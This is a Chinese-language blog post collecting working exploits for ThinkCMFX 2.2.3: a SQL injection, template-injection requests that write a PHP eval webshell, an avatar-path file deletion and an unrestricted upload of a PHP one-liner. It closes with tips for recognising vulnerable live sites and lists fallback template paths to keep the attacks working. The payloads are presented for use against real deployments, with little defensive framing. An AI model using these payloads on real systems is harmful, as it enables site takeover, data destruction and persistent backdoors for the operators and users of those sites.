0x00 前言

THINKCMFX_2.2.3漏洞合集 - 图2

在先知逛的时候看到的的,后面发现是thinkcmf 翻了一下自己的漏洞库对比了一下版本发现,泡泡大佬这里看的是1.6版本的,而官方最后的版本 2.2.3 所以做一下漏洞补充。

注:thinkcmf 并没有死,他拥有两个版本一个是 thinkcmf5 一个是 thnkcmf2.2.3 但是这两个版本都有漏洞,因为现在thinkcmf2.2.3使用的人越来越少了,所以爆出来,至于5嘛,=-=不好意思,我还有用,所以不能发,请见谅

0x01 前台用户文章编辑提交存在注入

0x01.1 漏洞演示

前台的文章编辑中操作框架注入,所以可以直接sql注入

  1. url:http://thinkcmf.test/index.php?g=Portal&m=Article&a=edit_post
  2. post:
  3. term:123
  4. post[post_title]:123
  5. post[post_title]:aaa
  6. post_title:123
  7. post[id][0]:bind
  8. post[id][1]:0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

THINKCMFX_2.2.3漏洞合集 - 图3

0x01.2 漏洞原理

文件:ThinkCMFX_2.2.3\application\Portal\Controller\ArticleController.class.php
方法:public function edit_post(

THINKCMFX_2.2.3漏洞合集 - 图4

这里不多讲,因为没得意义。详情请看先知的历史tp漏洞,谢谢:)

0x02 前台模版注入漏洞-可getshell两处-windows

0x02.1 Comment类模版引擎注入演示

  1. url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
  2. post:
  3. templateFile=/../public/index
  4. prefix=''
  5. content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>

发送之后页面http状态会为200,这样就表示成功了
简单讲解一下:content 我输入了php代码所以他会在本地跟路径创建一个一句话木马test.php
所以实战过程中。

连接马子:http://xxxxx.com/test.php 密码:11
即可getshell

THINKCMFX_2.2.3漏洞合集 - 图5
THINKCMFX_2.2.3漏洞合集 - 图6

0x02.2 Api类模版注入1

  1. url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch
  2. post:
  3. templateFile=/../../../public/index
  4. prefix=''
  5. content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php>

同上一样,会在跟目录生成 马子 test1.php

0x02.3 漏洞原理

路径:ThinkCMFX\application\Comment\Controller\WidgetController.class.php
路径:ThinkCMFX\application\Api\Controller\PluginController.class.php

两处的漏洞原理都是一样的,所以我就选一处进行讲解了
路径:application\Comment\Controller\WidgetController.class.php
方法:public function fetch(
THINKCMFX_2.2.3漏洞合集 - 图7

从名字查看我们会发现他的3个参数

$templateFile=模版地址
$content=内容
$prefix=前缀

$templateFile就是我们要包含的文件了,我们必须包含一个不然,代码会报错,导致无法写shell
$content 我们写马子的地方
$prefix 忽略他即可,没有用的

在代码中我们看到一个 $templateFile 给parseTemplate函数包含了,这里我们也不用管他,因为他的作用就是判断一下文件是否存在而已,所以我们在实战的时候,可以找到一处html文件包含即可

而tp的模版引擎 使用的是 smarty 而smarty中只要可控制内容的key 与 value 即可写入shell命令,所以同理可得,tp的 $content 我们可控 = 有模版注入

0x03 任意文件删除-只能windows删除

0x03.1 漏洞演示

THINKCMFX_2.2.3漏洞合集 - 图8

url:http://thinkcmf.test/index.php?g=User&m=Profile&a=do_avatar

post:
mgurl=..\..\..\..\..\1.txt
THINKCMFX_2.2.3漏洞合集 - 图9

0x03.2 漏洞原理

路径:ThinkCMFX\application\User\Controller\ProfileController.class.php
方法:blic function do_avatar(
THINKCMFX_2.2.3漏洞合集 - 图10

从文件可以看到 $imgurl=str_replace('/','',$imgurl); 过滤了 / 但是没有过滤 所以我们无法引入 / 并且在更新头像以后还会从前端接收参数 imgurl 带入函数sp_delete_avatar 跟进去

路径:ThinkCMFX\application\Common\Common\function.php
方法:function sp_delete_avatar(
THINKCMFX_2.2.3漏洞合集 - 图11

0x04 前台任意上传漏洞

0x04.1 漏洞演示

记得一定要登录!
记得一定要登录!
记得一定要登录!
记得在前台注册一个账号进行登录或是直接登录后台然后在访问此地址

打开url: http://atest.test/cms/ThinkCMFX_2.2.3/index.php?g=Asset&m=Ueditor&a=upload&action=uploadfile
POST:
file = php一句话木马的文件

  1. 1.php
  2. <?php
  3. eval($_REQUEST[1]);
  4. ?>

image.png

shell地址: http://atest.test/cms/ThinkCMFX_2.2.3/data/upload/ueditor/20190724/5d3833dcce7e3.php?1=phpinfo();
image.png

0x04.2 为什么要登录

路径:ThinkCMFX\application\Asset\Controller\UeditorController.class.php
方法:public function _initialize(
image.png

0x04.3 漏洞原理

路径:ThinkCMFX\application\Asset\Controller\UeditorController.class.php
方法:public function upload(
image.png

路径:ThinkCMFX\application\Asset\Controller\UeditorController.class.php
方法:private function _ueditor_upload(
image.png
该方法使用 $upload_setting=sp_get_upload_setting(); 先获取所有上传的配置

在用 $allowed_exts=explode(‘,’, $upload_setting[$filetype]); 来获取允许上传的后缀

这里我们先跟进去查看 sp_get_upload_setting(); 函数
路径:application\Common\Common\function.php
方法:function sp_get_upload_setting(
image.png

接下来我们需要重点查看一下:$upload_setting[$filetype]
我们可以打印一下,看看他的返回值
路径: application\Asset\Controller\UeditorController.class.php
方法: private function _ueditor_upload(
代码: $upload_setting[$filetype]
image.png

image.png

然后我们在看看他的代码 $allowed_exts=explode(‘,’, $upload_setting[$filetype]);
路径: application\Asset\Controller\UeditorController.class.php
方法: private function _ueditor_upload(
代码: $allowed_exts=explode(‘,’, $upload_setting[$filetype]);

$upload_setting[$filetype] 执行以后返回的结果是数组并且为2:

  1. array(2) {
  2. ["upload_max_filesize"]=>
  3. string(5) "10240"
  4. ["extensions"]=>
  5. string(42) "txt,pdf,doc,docx,xls,xlsx,ppt,pptx,zip,rar"
  6. }

而这里用了php函数: explode
让我们看看这个函数的作用
image.png 把字符串转成数组,可是他返回的就是数组所以 $allowed_exts=explode(‘,’, $upload_setting[$filetype]); 执行返回空

让我们测试一下看看
路径: application\Asset\Controller\UeditorController.class.php
方法: private function _ueditor_upload(
image.png

image.png

image.png

跟进去tp的上传方法查看一下
路径:ThinkCMFX_2.2.3\simplewind\Core\Library\Think\Upload.class.php
方法:public function upload(
image.png

路径:ThinkCMFX_2.2.3\simplewind\Core\Library\Think\Upload.class.php
方法:private function check(
image.png

路径:ThinkCMFX_2.2.3\simplewind\Core\Library\Think\Upload.class.php
方法:private function checkExt(
image.png

因为这里返回了true所以实际上他并没有验证后缀
所以我们也就多了一个任意文件上传漏洞

0x05 前台模板注入漏洞getshell两处-linux/windows通杀

0x05.1 漏洞概要

漏洞形成的主要原因是因为 HomebaseController.class.php 这个文件
display方法 与 fetch方法 是 public的
并且所有的前台文件都默认基础了 HomebaseController.class.php 做为父类, 这就导致了漏洞的发生

0x05.1 公共父类-display 模板注入演示

  1. url:http://thinkcmf.test/index.php?a=display&templateFile=/page
  2. post:
  3. prefix=''
  4. content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>

image.png

发送之后页面http状态会为200,这样就表示成功了
简单讲解一下:content 我输入了php代码所以他会在本地跟路径创建一个一句话木马test.php
所以实战过程中。

连接马子:http://xxxxx.com/test.php 密码:11
即可getshell

0x05.2 公共父类-display 漏洞原理

文件:\thinkcmfx\application\Common\Controller\HomebaseController.class.php
方法:public function display(

image.png

原理tp的模版引擎 使用的是 smarty 而smarty中只要可控制内容的key 与 value 即可写入shell命令,所以同理可得,tp的 $content 我们可控 = 有模版注入

主要就是让 $this->parseTemplate( 返回一个系统里面有的模板让他不报错即可
image.png

image.png

例如例子使用的是 page.html 这个文件,实战中如果这个文件不存在也可以换成 list.html 这个文件都是一样可以的

0x05.3 公共父类-fetch 模板注入演示

  1. url:http://thinkcmf.test/index.php?a=fetch
  2. post:
  3. prefix=''
  4. content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>

发送之后页面http状态会为200,这样就表示成功了
简单讲解一下:content 我输入了php代码所以他会在本地跟路径创建一个一句话木马test.php
所以实战过程中。

连接马子:http://xxxxx.com/test.php 密码:11
即可getshell

0x05.4 公共父类-fetch 漏洞原理

文件:\thinkcmfx\application\Common\Controller\HomebaseController.class.php
方法:public function fetch(

image.png

0x06 使用说明

前面说了,thinkcmf 并没有死,并且有3版本与5版本这里提供一些方法,帮助你们辨别哪一些是可以日的,那一些事不行的。

1,看logo 3的logo是黄色的例如下图
THINKCMFX_2.2.3漏洞合集 - 图32

2,在网站url 后面输入 admin
THINKCMFX_2.2.3漏洞合集 - 图33
如果页面是蓝色的表示是3的,可日穿之

3,查看 README.md
在网站url后面输入README.md
THINKCMFX_2.2.3漏洞合集 - 图34

另外还有一个说明,你在实际操作的过程中,可能会遇到他一直报这个错

  1. url:http://thinkcmf.test/index.php?g=Comment&m=Widget&a=fetch
  2. post:
  3. templateFile=/../public/index
  4. prefix=''
  5. content=<php>file_put_contents('test.php','<?php eval($_REQUEST[11]);')</php>

THINKCMFX_2.2.3漏洞合集 - 图35

请放心这并不是说明漏洞不可使用,而是说,这个模版不存在,你可以换一个html即可

  1. 例如:
  2. /../public/index
  3. /../public/exception
  4. /../data/index
  5. /../data/runtime/index
  6. /../plugins/Mobileverify/View/admin_index
  7. /../plugins/Mobileverify/View/index
  8. /../plugins/Mobileverify/View/widget
  9. /../plugins/Demo/View/admin_index
  10. /../plugins/Demo/View/index
  11. /../plugins/Demo/View/widget
  12. /../application/Install/View/Public/footer
  13. /../application/Install/View/Public/head
  14. /../application/Install/View/Public/header
  15. /../application/Common/index
  16. /../application/Portal/Lang/en-us/index
  17. /../application/Api/Lang/en-us/index
  18. /../application/Api/Lang/zh-cn/index
  19. /../application/Comment/Lang/en-us/index
  20. /../application/Comment/Lang/zh-cn/index
  1. url:http://thinkcmf.test/index.php?g=Api&m=Plugin&a=fetch
  2. post:
  3. templateFile=/../../../public/index
  4. prefix=''
  5. content=<php>file_put_contents('test1.php','<?php eval($_REQUEST[11]);')</php>
  1. /../../../public/index
  2. /../../../public/exception
  3. /../../../data/index
  4. /../../../data/runtime/index
  5. /../../../plugins/Mobileverify/View/admin_index
  6. /../../../plugins/Mobileverify/View/index
  7. /../../../plugins/Mobileverify/View/widget
  8. /../../../plugins/Demo/View/admin_index
  9. /../../../plugins/Demo/View/index
  10. /../../../plugins/Demo/View/widget
  11. /../../../application/Install/View/Public/footer
  12. /../../../application/Install/View/Public/head
  13. /../../../application/Install/View/Public/header
  14. /../../../application/Common/index
  15. /../../../application/Portal/Lang/en-us/index
  16. /../../../application/Api/Lang/en-us/index
  17. /../../../application/Api/Lang/zh-cn/index
  18. /../../../application/Comment/Lang/en-us/index
  19. /../../../application/Comment/Lang/zh-cn/index

还有最后一句废话:模版注入对于linux 并不好用 : )

差不多了,剩下的自己去thinkcmf里面自己找